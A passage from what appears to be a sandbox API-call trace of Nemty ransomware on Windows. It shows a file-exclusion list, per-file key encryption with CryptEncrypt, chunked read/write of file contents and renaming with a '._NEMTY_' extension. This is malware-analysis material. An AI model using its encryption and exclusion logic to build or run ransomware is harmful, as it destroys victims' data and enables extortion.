dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0161.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0161.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0161.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0161.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new.png._nemty_kgobjgd_")) returned 0 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.378] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0d0ce7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2=".") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="..") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="...") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="windows") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="rsa") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="ntldr") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="bootmgr") returned 1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="programdata") returned -1 [0161.379] lstrcmpiW (lpString1="docked_black_moon-new_partly-cloudy.png", lpString2="appdata") returned 1 [0161.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0161.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 39 [0161.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0161.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0161.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 39 [0161.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0161.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0161.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 39 [0161.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0161.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0161.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-new_partly-cloudy.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-new_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 39 [0161.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340198 [0161.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340270 [0161.380] Sleep (dwMilliseconds=0x5) [0161.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13d89670, dwHighDateTime=0x1d561e8)) [0161.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13d89670, dwHighDateTime=0x1d561e8)) [0161.396] GetLastError () returned 0x5 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.396] GetLastError () returned 0x5 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.396] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.396] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.396] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340348 [0161.396] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340348, pcchString=0x653e91c | out: pszString="LL7qdNxesr8Uet7K1IdMdtuyQ4ShoI4oPqZrB/YlV/Q1bf+kXRXIGvxlZwb4YB4y\r\nUr0f/dmJ5wQeEG5NF8LIMHzuJmd9lyZV6sb+qphTz1CkcpVyQiDVeAvCFhYUATfa\r\nzhZqNlLz0ltXrIkto0I3vgXjEkvYiNl6yAgt5lJ5xmIAkROiHT9VGMcIblQLMQt0\r\niB7YNKNEOTnk/KFEnBLWA87D+EvlJPIE8oUuNkWWsnps2y5J5HnMEd8mz6Ya6j8A\r\nj5DPJrsO6jilI9hsVIDj7Lh38SicQQ/psMXy/ZO/QZltqGOnBhFyja1GN14srjec\r\nX1Jn62ZNJCJNgHlfo47yfA==\r\n", pcchString=0x653e91c) returned 1 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0161.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340348 [0161.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.396] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.397] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340348, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.502] CloseHandle (hObject=0xffffffff) returned 0 [0161.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404b8 [0161.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0161.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63440c0 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-new_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-new_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, 